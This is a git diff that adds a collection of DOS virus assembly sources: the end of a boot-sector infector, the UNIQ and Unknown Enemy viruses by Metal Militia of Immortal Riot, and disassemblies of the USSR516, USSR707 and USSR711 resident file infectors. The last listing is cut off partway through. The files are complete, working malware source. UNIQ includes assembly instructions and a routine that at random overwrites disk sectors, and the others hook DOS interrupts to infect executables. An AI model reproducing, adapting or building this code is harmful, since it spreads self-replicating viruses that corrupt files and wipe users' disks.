cx + call check_boot + jnz infect_boot + push ds + pop es + pop cx + push bx bp + call find_data_sector + dec ax + call convert_sector + pop bp bx +read_mbr: mov ax,0201 +boot_done: pop di si es ds + popf + jmp chain_to_int13 + +infect_boot: add si,cx + add di,cx + push ax bx dx bp + mov cx,3e-0bh + rep movsb + push ds + pop es + push bx bp + call find_data_sector + dec ax + call convert_sector + pop bp + mov cs:[drivehead-BASE],dx + mov cs:[sectortrack-BASE],cx + push cx dx es + push cs + pop es + mov ax,0301 + xor dh,dh + mov cx,1 + lea bx,boot_sector-BASE + call handle_int13 + jnc boot_altered + pop es dx cx bx +write_protect: pop bp dx bx ax +wrong_media: pop cx di si es ds + popf + iret + +boot_altered: push ax bx bp + call find_data_sector + dec ax + call convert_sector + pop bp bx ax + pop es dx cx bx + mov ax,0301 + call handle_int13 + jmp write_protect + +convert_sector: div es:[bp.track_secs+3] ; convert sector format + inc ah ; to cylinder, head and + xchg cl,ah ; cl = sector ; sector format + xor ah,ah + div es:[bp.head_count+3] + mov dh,ah + mov ch,al + ret + +find_data_sector: ; locate the first data sector + mov bp,bx ; of the drive + xor dx,dx + mov ax,es:[bp.fat_size+3] + xor cx,cx + mov cl,es:[bp.fat_count+3] + mul cx + add ax,es:[bp.res_secs+3] + mov bx,ax + mov ax,es:[bp.root_size+3] + mov cl,20 + mul cx + mov cx,es:[bp.sect_size+3] + div cx + add ax,bx + ret + + db 'Rajaat' + + org boot_sector+1fe + + dw 0aa55 ; bootsector signature + +virus_end equ $ +virus_size_k equ (($-virus) / 400) + 1 ; virus size in kilobytes + +end install ; end of virus code diff --git a/u/UNIQ.ASM b/u/UNIQ.ASM new file mode 100755 index 0000000..f23c638 --- /dev/null +++ b/u/UNIQ.ASM @@ -0,0 +1,197 @@ +; Virusname : UNIQ +; Origin : Sweden +; Author : Metal Militia/Immortal Riot +; +; Before you is a "fixed-up" version of the IR.144 virus. The +; differences are very big, though. To take some examples, thisone +; has direct infection of the KEYB.COM file in your \DOS directory, +; it's XOR encrypted, restore the files date/time stamp, set's the +; file attrib's to zero and has a probability of 2% that it overwrites +; the first 1234 sectors on your C: drive when executed. Since it more +; or less 'stays' in your computer after that direct infection, the +; regular user won't notice anything before the trashing routine does +; it's dirty work :) Thanks to The Unforgiven for "bug-fixing" a few +; things when i was totally fucked up by tiredness. +; +; In order to get a working copy of this virus you'll need to do the +; following: first assemble the dummy code below here plus the virus +; aswell. Then do a simple "copy /b dummy.com+uniq.com working.com". +; Now you'll have a ready one. +; +; ----------------------- +; +; .model tiny ; DUMMY.ASM +; .code +; org 100h +; +; sov: +; +; xchg ax,ax ; nop +; xchg ax,ax ; nop +; xchg ax,ax ; nop +; xchg ax,ax ; nop +; +; end sov +; +; ----------------------- +; + +.model tiny ; UNIQ.ASM +.radix 16 +.code + org 100h +start: +call get_offset +get_offset: +pop bp ; now we're here, so get it +sub bp,offset get_offset ; and offset the 'procedure' + + call enc_dec ; decrypt us + jmp real_start + +enc_val dw 0 ; "buffer" for our encryption value + +write_da_code: + call enc_dec + mov ah,40 ; write the + mov cx,end_virus-start ; viral code + lea dx,[bp+start] ; to victim's + int 21 ; awesome phile + call enc_dec + ret + +enc_dec: + mov bx,word ptr [bp+enc_val] ; use our encryption + lea si,[bp+real_start] ; value + mov cx,(end_virus-real_start+1)/2 +rock_on: + xor word ptr [si],bx ; the XOR loop goes here + inc si + inc si + loop rock_on + ret + +real_start: + lea si,[buffa_bytes+bp] ; restore + mov di,100 ; the first + movsw ; four bytes + movsw ; from our buffer + + lea dx,[end_virus+bp] ; set the DTA + mov ah,1a ; to end of our virus + int 21 + + lea dx,[doskeycom+bp] ; offset c:\dos\doskey.com + call affeqtiz ; in order to infect aswell + + mov ah,4e ; now, back to our "current" dir + lea dx,[find_files+bp] ; locate first file "*.com" +find_next: + int 21 + jc reset_DTA ; was there an *ERROR* ? + call infect ; If not, continue w/infection + + mov ah,4f ; and get next + jmp short find_next ; to affect aswell + +reset_DTA: + mov ah,2c ; get time + int 21 + + cmp dl,2 ; 2% chance + ja real_DTA_reset ; no? outa here + + mov al,2 ; sheesh! + mov cx,4d2h ; i guess + cwd ; the dude + int 26h ; will be + popf ; gone after + ; thisone :) +real_DTA_reset: + mov dx,80 ; reset the DTA + mov ah,1a + int 21 + + mov di,100 ; and 'JMP' back + push di ; to the original + ret ; program :) + +infect: + lea dx,[end_virus+1e+bp] ; 1e in DTA = filename +affeqtiz: + mov ax,4301 ; remove da fileattrib's + xor cx,cx ; (or.. rather set to zero) + int 21 + + mov ax,3d02 ; so.. open it! + int 21 + jc ret_me + + xchg bx,ax ; mov bx,ax + + mov ax,5700 ; save date/time + int 21 + + push cx + push dx + + mov ah,3f ; read in + mov cx,4 ; first four bytes + lea dx,[buffa_bytes+bp] ; and save them + int 21 ; in our buffer + + cmp byte ptr [buffa_bytes+bp+3],'V' ; fourth byte's a 'V'? + jz close_em ; if so, outa here! + + mov ax,4202 ; goto EOF + sub cx,cx + cwd + int 21 + + sub ax,3 ; + mov word ptr [bp+jump_bytes+1],ax ; offset our 'JMP'! + +random: + mov ah,2ch ; get a random + int 21h ; value to use + add dl, dh ; with the + jz random ; encryption + mov word ptr [bp+enc_val],bx + call write_da_code ; write our viral code + + mov ax,4200 ; goto SOF + sub cx,cx + cwd + int 21 + + mov ah,40 ; write our + mov cx,4 ; own first four + lea dx,[bp+jump_bytes] ; bytes over the + int 21 ; original + +close_em: + pop dx + pop cx + + mov ax,5701 ; restore date/time + int 21 + + mov ah,3e ; now close the fucker + int 21 +ret_me: + ret ; and ret to get next + +V_name db '[UNiQ]' ; virus name +V_author db '(c) 1994 Metal Militia' ; virus author +V_group_origin db 'Immortal Riot, Sweden' ; author group, origin +doskeycom db 'c:\dos\doskey.com',0 ; direct infection +find_files db '*.com',0 ; files to infect +jump_bytes db 0e9,0,0,'V' ; our marked "JMP" + +buffa_bytes: ; org. first 4 buffa + xchg ax,ax ; one byte (nop) + xchg ax,ax ; one byte (nop) + int 20 ; two bytes + +end_virus: +end start \ No newline at end of file diff --git a/u/UNKN-NMY.ASM b/u/UNKN-NMY.ASM new file mode 100755 index 0000000..27ecdc3 --- /dev/null +++ b/u/UNKN-NMY.ASM @@ -0,0 +1,101 @@ +; Virus name : Unknown Enemy +; Virus author: Metal Militia +; Virus group : Immortal Riot +; Origin : Sweden +; +; This is my very first companion/spawning creation. It uses a tsr int27 +; routine to put itself in memory, and then when someone exec's or opens +; a file it'll create itself as a .COM of that file if it's an .EXE, +; else it'll drop out. It's pretty small, except for the text included. +; No encryption or destructive routines inside, just pure +; replicationing. Not even a simple priting routine or something, +; i'm just *too* nice! Well, urm!.. Enjoy Insane Reality issue #4! +; +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; UNKNOWM ENEMY! +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +virus segment + org 100h + assume cs:virus, ds:virus, es:virus + +start: mov ax,3521h ; Hook interrupt 21 + int 21h + mov di,offset int21 ; Old int21 + mov word ptr int21,bx ; Put it here + mov word ptr int21+2,es + mov dx,offset infect ; Offset "our" int21 + mov ah,25h + int 21h + mov dx,di ; Offset int21 (same as "di") + int 27h ; TSR '27 + +infect: cmp ax,4b00h ; Executing file + je sheesh ; If so, creat kompanion + cmp ax,3d00h ; Open file + je sheesh + jmp interrupt ; If not, exit +sheesh: + jmp move_on ; "Companion" it! + + db 'Unknown Enemy' ; Virus name + db '(c) Metal Militia/Immortal Riot' ; Author + db 'I''m hurt, machineguns firing behind my back' ; Poem + db 'Never had no chance, no way to do a attack' + db 'Thisone sure is the last time i guess' + db 'Heading for a private deathrow, nothing less' + db 'Blood, quickly pumping out from the vound in the vain' + db 'Damn, this moment makes you sort of go insane' + db 'Close my eyes, had much left to see' + db 'Was my fault, but did they have to do it, gee?' + db 'Promise me, this hit you will remember' + db 'Take one of them down before winter comes in december' + db 'Why that month? Well, i like it very much' + db 'Fresh, cool air, wonders of the snow to touch' + db 'The world is wonderful, what else to say?' + db 'Just remember this shit, cause it happends every day' + ; ^^^ - Ohh! I'm impressed (The Unforgiven). + +move_on: + push ax + push es + push ds ; Set ES to DS + pop es + mov di,dx ; Scan after extension + mov al,'.' + repne scasb + push di ; Point at extension + mov ax,'XE' ; Check if it's an .EXE + stosw + stosb + pop di + pop es + pop ax + push ax + push dx + pushf + push cs + call interrupt + mov ax,'OC' ; Change + stosw ; to + mov al,'M' ; .COM extension + stosb + pop dx ; Clear the stack + pop ax + jc interrupt ; No .EXE, quit this stuff + mov cx,2 ; Read-only, Hidden attributes + mov ah,3ch ; Create .COM file + int 21h + xchg bx,ax ; Mov ax,bx + push cs + pop ds + mov cx,offset int21-100h ; Offset length + mov dx,si ; from start + mov ah,40h ; write virus + +interrupt: + db 0eah ; Jmp Far +int21: ; The interrupt storage/vir end. + +virus ends + end start diff --git a/u/USSR516.ASM b/u/USSR516.ASM new file mode 100755 index 0000000..cb87089 --- /dev/null +++ b/u/USSR516.ASM @@ -0,0 +1,278 @@ +ussr516 segment byte public + assume cs:ussr516, ds:ussr516 + org 100h +; Disassembled by Dark Angel of PHALCON/SKISM +; for 40Hex Number 7 Volume 2 Issue 3 +stub: db 0e9h, 0, 0 + db 0e9h, 1, 0, 0 +; This is where the virus really begins +start: + push ax + call beginvir + +orig4 db 0cdh, 20h, 0, 0 +int30store db 0, 0, 0, 0 ; Actually it's int 21h + ; entry point +int21store db 0, 0, 0, 0 + +beginvir: pop bp ; BP -> orig4 + mov si,bp + mov di,103h + add di,[di-2] ; DI -> orig4 + movsw ; restore original + movsw ; 4 bytes of program + xor si,si + mov ds,si + les di,dword ptr ds:[21h*4] + mov [bp+8],di ; int21store + mov [bp+0Ah],es + lds di,dword ptr ds:[30h*4+1] ; Bug???? +findmarker: + inc di + cmp word ptr [di-2],0E18Ah ; Find marker bytes + jne findmarker ; to the entry point + mov [bp+4],di ; and move to + mov [bp+6],ds ; int30store + mov ax,5252h ; Get list of lists + int 21h ; and also ID check + + add bx,12h ; Already installed? + jz quitvir ; then exit + push bx + mov ah,30h ; Get DOS version + int 21h + + pop bx ; bx = 12, ptr to 1st + ; disk buffer + cmp al,3 + je handlebuffer ; if DOS 3 + ja handleDBHCH ; if > DOS 3 + inc bx ; DOS 2.X, offset is 13 +handlebuffer: + push ds + push bx + lds bx,dword ptr [bx] ; Get seg:off of buffer + inc si + pop di + pop es ; ES:DI->seg:off buff + mov ax,[bx] ; ptr to next buffer + cmp ax,0FFFFh ; least recently used? + jne handlebuffer ; if not, go find it + cmp si,3 + jbe quitvir + stosw + stosw + jmp short movetobuffer +handleDBHCH: ; Disk Buffer Hash Chain Head array + lds si,dword ptr [bx] ; ptr to disk buffer + lodsw ; info + lodsw ; seg of disk buffer + ; hash chain head array + inc ax ; second entry + mov ds,ax + xor bx,bx + mov si,bx + lodsw ; EMS page, -1 if not + ; in EMS + xchg ax,di ; save in di + lodsw ; ptr to least recently + ; used buffer + mov [di+2],ax ; change disk buffer + ; backward offset to + ; least recently used + xchg ax,di ; restore EMS page + mov [di],ax ; set to least recently +movetobuffer: ; used + mov di,bx + push ds + pop es ; ES:DI -> disk buffer + push cs + pop ds + mov cx,108h + lea si,[bp-4] ; Copy from start + rep movsw + mov ds,cx ; DS -> interrupt table + mov word ptr ds:[4*21h],0BCh ; New interrupt handler + mov word ptr ds:[4*21h+2],es ; at int21 +quitvir: + push cs ; CS = DS = ES + pop es + push es + pop ds + pop ax + mov bx,ax + mov si, 100h ; set up stack for + push si ; the return to the + retn ; original program +int24: + mov al,3 ; Ignore all errors + iret +tickstore db 3 ; Why??? +buffer db 3, 0, 9, 0 + +int21: + pushf + cli ; CP/M style call entry + call dword ptr cs:[int30store-start] + retn ; point of int 21h + +int21DSDX: ; For int 21h calls + push ds ; with + lds dx,dword ptr [bp+2] ; DS:DX -> filename + call int21 + pop ds + retn + + cmp ax,4B00h ; Execute + je Execute + cmp ax,5252h ; ID check + je CheckID + cmp ah,30h ; DOS Version + je DosVersion +callorig21: ; Do other calls + jmp dword ptr cs:[int21store-start] +DosVersion: ; Why????? ; DOS Version + dec byte ptr cs:[tickstore-start] + jnz callorig21 ; Continue if not 0 + push es + xor ax,ax + push ax + mov es,ax + mov al,es:[46Ch] ; 40h:6Ch = Timer ticks + ; since midnight + and al,7 ; MOD 15 + inc ax + inc ax + mov cs:[tickstore-start],al ; # 2-17 + pop ax + pop es + iret +CheckID: ; ID Check + mov bx,0FFEEh ; FFEEh = -12h + iret +Execute: ; Execute + push ax ; Save registers + push cx + push es + push bx + push ds ; DS:DX -> filename + push dx ; save it on stack + push bp + mov bp,sp ; Set up stack frame + sub sp,0Ah ; Temporary variables + ; [bp-A] = attributes + ; [bp-8] = int 24 off + ; [bp-6] = int 24 seg + ; [bp-4] = file time + ; [bp-2] = file date + sti + push cs + pop ds + mov ax,3301h ; Turn off ^C check + xor dl,dl ; (never turn it back + call int21 ; on. Bug???) + mov ax,3524h ; Get int 24h + call int21 ; (Critical error) + mov [bp-8],bx + mov [bp-6],es + mov dx,int24-start + mov ax,2524h ; Set to new one + call int21 + mov ax,4300h ; Get attributes + call int21DSDX + jnc continue +doneinfect: + mov ax,2524h ; Restore crit error + lds dx,dword ptr [bp-8] ; handler + call int21 + cli + mov sp,bp + pop bp + pop dx + pop ds + pop bx + pop es + pop cx + pop ax + jmp short callorig21 ; Call orig handler +continue: + mov [bp-0Ah],cx ; Save attributes + test cl,1 ; Check if r/o???? + jz noclearattr + xor cx,cx + mov ax,4301h ; Clear attributes + call int21DSDX ; Filename in DS:DX + jc doneinfect ; Quit on error +noclearattr: + mov ax,3D02h ; Open read/write + call int21DSDX ; Filename in DS:DX + jc doneinfect ; Exit if error + mov bx,ax + mov ax,5700h ; Save time/date + call int21 + mov [bp-4],cx + mov [bp-2],dx + mov dx,buffer-start + mov cx,4 + mov ah,3Fh ; Read 4 bytes to + call int21 ; buffer + jc quitinf + cmp byte ptr ds:[buffer-start],0E9h; Must start with 0E9h + jne quitinf ; Otherwise, quit + mov dx,word ptr ds:[buffer+1-start]; dx = jmploc + dec dx + xor cx,cx + mov ax,4201h ; go there + call int21 + mov ds:[buffer-start],ax ; new location offset + mov dx,orig4-start + mov cx,4 + mov ah,3Fh ; Read 4 bytes there + call int21 + mov dx,ds:[orig4-start] + cmp dl,0E9h ; 0E9h means we might + jne infect ; already be there + mov ax,ds:[orig4+2-start] ; continue checking + add al,dh ; to see if we really + sub al,ah ; are there. + jz quitinf +infect: + xor cx,cx + mov dx,cx + mov ax,4202h ; Go to EOF + call int21 + mov ds:[buffer+2-start],ax ; save filesize + mov cx,204h + mov ah,40h ; Write virus + call int21 + jc quitinf ; Exit if error + sub cx,ax + jnz quitinf + mov dx,ds:[buffer-start] + mov ax,ds:[buffer+2-start] + sub ax,dx + sub ax,3 ; AX->jmp offset + mov word ptr ds:[buffer+1-start],ax; Set up buffer + mov byte ptr ds:[buffer-start],0E9h; code the jmp + add al,ah + mov byte ptr ds:[buffer+3-start],al + mov ax,4200h ; Rewind to jmploc + call int21 + mov dx, buffer-start + mov cx,4 ; Write in the jmp + mov ah,40h + call int21 +quitinf: + mov cx,[bp-4] + mov dx,[bp-2] + mov ax,5701h ; Restore date/time + call int21 + mov ah,3Eh ; Close file + call int21 + mov cx,[bp-0Ah] ; Restore attributes + mov ax,4301h + call int21DSDX + jmp doneinfect ; Return +ussr516 ends + end stub + diff --git a/u/USSR707.ASM b/u/USSR707.ASM new file mode 100755 index 0000000..3930628 --- /dev/null +++ b/u/USSR707.ASM @@ -0,0 +1,408 @@ + +PAGE 59,132 + +; +; +; USSR707 +; +; Created: 9-Feb-92 +; Passes: 5 Analysis Options on: AW +; +; + +data_1e equ 20h +data_2e equ 22h +data_3e equ 4Ch +data_4e equ 4Eh +data_5e equ 84h +data_6e equ 86h +data_7e equ 413h +data_8e equ 1460h +data_9e equ 3 +data_10e equ 2 + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +ussr707 proc far + +start: + mov ax,offset loc_2 + push ax + retn +loc_2: + jmp short loc_3 + nop + +ussr707 endp + +; +; SUBROUTINE +; + +sub_2 proc near + call sub_3 + +; External Entry into Subroutine + +sub_3: + pop di + sub di,6 + retn +sub_2 endp + + db 60h, 14h, 2Bh, 02h, 2Eh, 3Ah + db 26h,0FFh, 0Dh, 00h,0A0h, 00h + db 50h,0C3h, 01h, 2Eh,0A3h,0C0h + db 00h, 9Ch, 00h, 00h, 90h, 90h + db 90h,0CDh + db 20h +loc_3: + call sub_2 + mov ah,[di+21h] + mov byte ptr ds:[100h],ah + mov ax,[di+22h] + mov word ptr ds:[101h],ax + mov ax,[di+24h] + mov word ptr ds:[103h],ax + mov ah,30h ; '0' + int 21h ; DOS Services ah=function 30h + ; get DOS version number ax + cmp ax,1E03h + je loc_4 ; Jump if equal + jmp loc_9 +loc_4: + mov bl,0 + mov ax,4BFFh + int 21h ; ??INT Non-standard interrupt + cmp bl,0FFh + jne loc_5 ; Jump if not equal + jmp loc_9 +loc_5: + mov ax,ds:data_10e + mov [di+14h],ax + mov bx,di + add bx,0Fh + xor ax,ax ; Zero register + mov es,ax +loc_6: + xor si,si ; Zero register + mov ax,es + inc ax + cmp ax,0FFFh + jbe loc_7 ; Jump if below or = + jmp short loc_9 + nop +loc_7: + mov es,ax +loc_8: + mov ah,es:data_8e[si] + cmp ah,[bx+si] + jne loc_6 ; Jump if not equal + inc si + cmp si,5 + jne loc_8 ; Jump if not equal + mov [di+0Dh],es + mov word ptr [di+1Fh],0 + mov ax,cs + dec ax + mov es,ax + call sub_7 + sub si,di + mov ax,si + mov cl,4 + shr ax,cl ; Shift w/zeros fill + inc ax + sub es:data_9e,ax + sub ds:data_10e,ax + mov bx,[di+14h] + sub bx,ax + mov es,bx + push di + call sub_4 + xor cx,cx ; Zero register + mov ds,cx + mov cl,6 + shr ax,cl ; Shift w/zeros fill + inc ax + sub ds:data_7e,ax + mov ax,ds:data_5e + mov cs:[bx+0Bh],ax + mov ax,ds:data_6e + mov cs:[bx+0Dh],ax + push cs + pop ds + mov cx,si + mov si,di + xor di,di ; Zero register + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + pop di + sub bx,di + add bx,2 + xor ax,ax ; Zero register + mov ds,ax + cli ; Disable interrupts + mov ds:data_5e,bx + mov ds:data_6e,es + sti ; Enable interrupts +loc_9: + push cs + pop ds + push cs + pop es + mov ax,offset start + push ax + retn + +; +; SUBROUTINE +; + +sub_4 proc near + call sub_5 + +; External Entry into Subroutine + +sub_5: + pop bx + retn +sub_4 endp + + push bx + mov bh,4Bh ; 'K' + cmp bh,ah + je loc_11 ; Jump if equal + pop bx +loc_10: +;* jmp far ptr loc_1 + db 0EAh, 93h, 17h, 26h, 0Dh +loc_11: + cmp al,0FFh + jne loc_12 ; Jump if not equal + pop bx + mov bl,0FFh + iret ; Interrupt return + pushf ; Push flags +;* call far ptr sub_1 + db 9Ah, 00h, 00h, 00h, 00h + push ax + in al,61h ; port 61h, 8255 port B, read + xor al,3 + out 61h,al ; port 61h, 8255 B - spkr, etc + mov al,0B6h + out 43h,al ; port 43h, 8253 wrt timr mode + mov ax,bx + out 42h,al ; port 42h, 8253 timer 2 spkr + mov al,ah + out 42h,al ; port 42h, 8253 timer 2 spkr + pop ax + iret ; Interrupt return +loc_12: + push ax + push cx + push dx + push di + push ds + push es + mov bx,dx + xor di,di ; Zero register +loc_13: + inc di + cmp byte ptr [bx+di],0 + jne loc_13 ; Jump if not equal + cmp word ptr [bx+di-2],4D4Fh + je loc_14 ; Jump if equal + jmp loc_26 +loc_14: + cmp byte ptr [bx+di-3],43h ; 'C' + je loc_15 ; Jump if equal + jmp loc_26 +loc_15: + call sub_2 + mov bx,di + add bx,1Ah + mov ax,70h + mov es,ax + xor di,di ; Zero register +loc_16: + inc di + cmp di,0FFFFh + jbe loc_17 ; Jump if below or = + jmp loc_26 +loc_17: + xor si,si ; Zero register +loc_18: + mov ah,es:[di] + cmp ah,cs:[bx+si] + jne loc_16 ; Jump if not equal + inc si + inc di + cmp si,5 + jne loc_18 ; Jump if not equal + sub di,5 + xor ax,ax ; Zero register + mov es,ax + push word ptr es:data_3e + push word ptr es:data_4e + cli ; Disable interrupts + mov es:data_3e,di + mov word ptr es:data_4e,70h + sti ; Enable interrupts + call sub_2 + mov bx,dx + xor cx,cx ; Zero register + mov ah,4Eh ; 'N' + call sub_6 + jnc loc_19 ; Jump if carry=0 + jmp loc_25 +loc_19: + mov ah,2Fh ; '/' + call sub_6 + mov ax,es:[bx+1Ah] + cmp ax,0F000h + jbe loc_20 ; Jump if below or = + jmp loc_25 +loc_20: + push ds + push dx + push word ptr es:[bx+15h] + push word ptr es:[bx+16h] + push word ptr es:[bx+18h] + add ax,100h + mov cs:[di+18h],ax + mov ax,4301h + mov cx,20h + call sub_6 + mov ax,3D02h + call sub_6 + jnc loc_21 ; Jump if carry=0 + jmp short loc_24 + nop +loc_21: + push cs + pop ds + mov bx,ax + mov ah,3Fh ; '?' + mov cx,5 + mov dx,di + add dx,21h + call sub_6 + mov ax,[di+18h] + sub ax,[di+22h] + cmp ax,2C3h + jne loc_23 ; Jump if not equal + cmp byte ptr [di+20h],1Eh + jae loc_22 ; Jump if above or = + inc byte ptr [di+20h] +loc_22: + jmp short loc_24 + nop +loc_23: + mov byte ptr [di+17h],0B8h + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_6 + mov ah,40h ; '@' + mov cx,3 + mov dx,di + add dx,17h + call sub_6 + mov ah,40h ; '@' + mov cx,2 + mov word ptr [di+17h],0C350h + call sub_6 + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_6 + mov ah,40h ; '@' + call sub_7 + mov cx,si + sub cx,di + mov dx,di + call sub_6 +loc_24: + mov ax,5701h + pop dx + pop cx + call sub_6 + mov ax,4301h + pop cx + mov ch,0 + pop dx + pop ds + call sub_6 + mov ah,3Eh ; '>' + call sub_6 +loc_25: + xor ax,ax ; Zero register + mov es,ax + cli ; Disable interrupts + pop word ptr es:data_4e + pop word ptr es:data_3e + sti ; Enable interrupts +loc_26: + call sub_2 + cmp byte ptr cs:[di+1Fh],0 + jne loc_27 ; Jump if not equal + cmp byte ptr cs:[di+20h],1Eh + jb loc_27 ; Jump if below + mov byte ptr cs:[di+1Fh],1 + xor ax,ax ; Zero register + mov es,ax + call sub_4 + add bx,17h + mov ax,es:data_1e + mov cx,es:data_2e + mov cs:[bx+2],ax + mov cs:[bx+4],cx + cli ; Disable interrupts + mov es:data_1e,bx + mov es:data_2e,cs + sti ; Enable interrupts +loc_27: + pop es + pop ds + pop di + pop dx + pop cx + pop ax + pop bx + jmp loc_10 + +; +; SUBROUTINE +; + +sub_6 proc near + pushf ; Push flags + call dword ptr cs:[di+0Bh] + retn +sub_6 endp + + +; +; SUBROUTINE +; + +sub_7 proc near + call sub_8 + +; External Entry into Subroutine + +sub_8: + pop si + add si,5 + retn +sub_7 endp + + +seg_a ends + + + + end start diff --git a/u/USSR711.ASM b/u/USSR711.ASM new file mode 100755 index 0000000..979031a --- /dev/null +++ b/u/USSR711.ASM @@ -0,0 +1,384 @@ + +PAGE 59,132 + +; +; +; USSR711 +; +; Created: 9-Feb-92 +; Passes: 5 Analysis Options on: AW +; +; + +data_1e equ 20h +data_2e equ 22h +data_3e equ 4Ch +data_4e equ 4Eh +data_5e equ 84h +data_6e equ 86h +data_7e equ 0D9h +data_8e equ 0DBh +data_9e equ 122h +data_10e equ 124h +data_11e equ 13Ah +data_12e equ 13Ch +data_13e equ 441h +data_14e equ 3 +data_15e equ 12h +data_16e equ 0 +data_17e equ 0B0h +data_18e equ 0B2h + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +ussr711 proc far + +start: + jmp loc_1 + int 21h ; DOS Services ah=function 00h + ; terminate, cs=progm seg prefx + call sub_1 + +ussr711 endp + +; +; SUBROUTINE +; + +sub_1 proc near + pop bx + xor di,di ; Zero register + mov si,bx + sub si,3 + mov ax,4B04h + int 21h ; ??INT Non-standard interrupt + cmp ax,44Bh +loc_1: + call sub_2 + +; External Entry into Subroutine + +sub_2: + pop bx + xor di,di ; Zero register + mov si,bx + sub si,3 + mov ax,4B04h + int 21h ; ??INT Non-standard interrupt + cmp ax,44Bh + je $+7Dh ; Jump if equal + mov ax,es + dec ax + mov es,ax + mov ax,es:data_14e + sub ax,2Ch + mov es:data_14e,ax + sub word ptr es:data_15e,2Ch + nop + mov es,es:data_15e + mov cx,2BBh + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + cli ; Disable interrupts + xor ax,ax ; Zero register + mov ds,ax + mov cx,ds:data_5e + mov es:data_11e,cx + mov cx,ds:data_6e + mov es:data_12e,cx + mov word ptr ds:data_5e,126h + mov ds:data_6e,es + mov cx,ds:data_1e + mov es:data_7e,cx + mov cx,ds:data_2e + mov es:data_8e,cx + mov word ptr ds:data_1e,0B4h + mov ds:data_2e,es + mov cx,ds:data_3e + mov es:data_9e,cx + mov cx,ds:data_4e + mov es:data_10e,cx + mov word ptr ds:data_3e,0DDh + mov ds:data_4e,es + sti ; Enable interrupts + mov di,100h + mov si,bx + add si,2B3h + mov cx,3 + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + mov ax,cs + mov es,ax + mov ds,ax + xor ax,ax ; Zero register + mov si,ax + mov di,0 + mov bx,offset start + jmp bx ; Register jump + add bl,[si] + db 67h, 6Fh, 50h, 2Eh,0A1h,0B2h + db 00h, 40h, 2Eh,0A3h,0B2h, 00h + db 2Eh,0A1h,0B0h, 00h, 3Dh, 00h + db 00h, 75h, 10h, 2Eh, 81h, 3Eh + db 0B2h, 00h, 74h, 37h, 75h, 07h + db 0B8h, 02h, 1Ch, 2Eh,0A3h,0B0h + db 00h + db 58h,0EAh, 0Ah, 01h, 49h,0D7h + db 2Eh, 83h, 3Eh,0B0h, 00h, 00h + db 74h, 3Ch, 80h,0FCh, 03h, 74h + db 05h, 80h,0FCh, 0Bh + db 75h, 32h +loc_3: + test dl,80h + js loc_4 ; Jump if sign=1 + push ax + mov ax,cs:data_18e + and ax,3 + pop ax + jnz loc_4 ; Jump if not zero + push bp + add [bp+si+7Dh],dh + push ax + mov ax,cs + mov ds,ax + mov ax,[bp+6] + push ax + popf ; Pop flags + stc ; Set carry flag + pushf ; Push flags + pop ax + mov [bp+6],ax + xor ax,ax ; Zero register + mov ds,ax + pop ax + mov ah,80h + mov ds:data_13e,ah + pop ds + pop bp + iret ; Interrupt return +loc_4: +;* jmp far ptr loc_20 +sub_1 endp + + db 0EAh, 49h, 01h, 08h,0D7h + cmp ax,4B04h + jne loc_5 ; Jump if not equal + mov ax,44Bh + iret ; Interrupt return +loc_5: + cmp ax,4B00h + je loc_7 ; Jump if equal + cmp ax,4B03h + je loc_7 ; Jump if equal +loc_6: +;* jmp far ptr loc_19 + db 0EAh,0B5h, 02h, 46h,0D5h +loc_7: + push ax + push bx + push cx + push dx + push ds + push es + push si + push di + mov ax,ds + mov es,ax + cld ; Clear direction + mov al,0 + mov di,dx + mov cx,0C8h + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al + jnz loc_8 ; Jump if not zero + std ; Set direction flag + mov al,2Eh ; '.' + mov cx,0Ah + repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al +loc_8: + jnz loc_11 ; Jump if not zero + inc di + inc di + mov al,[di] + and al,0DFh + cmp al,43h ; 'C' + jne loc_11 ; Jump if not equal + mov al,[di+1] + and al,0DFh + cmp al,4Fh ; 'O' + jne loc_11 ; Jump if not equal + mov al,[di+2] + and al,0DFh + cmp al,4Dh ; 'M' + jne loc_11 ; Jump if not equal + mov al,[di-2] + and al,0DFh + cmp al,44h ; 'D' + jne loc_9 ; Jump if not equal + mov al,[di-8] + and al,0DFh + cmp al,43h ; 'C' + je loc_11 ; Jump if equal +loc_9: + mov ax,4300h + int 21h ; DOS Services ah=function 43h + ; get attrb cx, filename @ds:dx + mov word ptr cs:[2B4h],cx + mov cx,20h + mov ax,4301h + int 21h ; DOS Services ah=function 43h + ; set attrb cx, filename @ds:dx + jc loc_11 ; Jump if carry Set + mov word ptr cs:[2B0h],ds + mov word ptr cs:[2B2h],dx + mov ax,3D02h + int 21h ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + jc loc_11 ; Jump if carry Set + mov bx,ax + mov ax,5700h + int 21h ; DOS Services ah=function 57h + ; get file date+time, bx=handle + ; returns cx=time, dx=time + mov word ptr cs:[2ACh],cx + mov word ptr cs:[2AEh],dx + jmp short loc_12 + nop +loc_10: + jmp loc_6 +loc_11: + jmp loc_16 +loc_12: + mov cx,3 + mov ax,cs + mov ds,ax + mov es,ax + mov dx,2B6h + mov ax,3F00h + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + mov cx,0 + mov dx,word ptr cs:[2B7h] + add dx,3 + mov ax,4200h + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file handle + ; al=method, cx,dx=offset + mov cx,0Ah + mov dx,29Bh + mov ax,3F00h + int 21h ; DOS Services ah=function 3Fh + ; read file, bx=file handle + ; cx=bytes to ds:dx buffer + cld ; Clear direction + mov cx,0Ah + mov si,29Bh + mov di,data_16e + repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] + jz loc_15 ; Jump if zero + mov ax,4202h + xor cx,cx ; Zero register + mov dx,cx + int 21h ; DOS Services ah=function 42h + ; move file ptr, bx=file 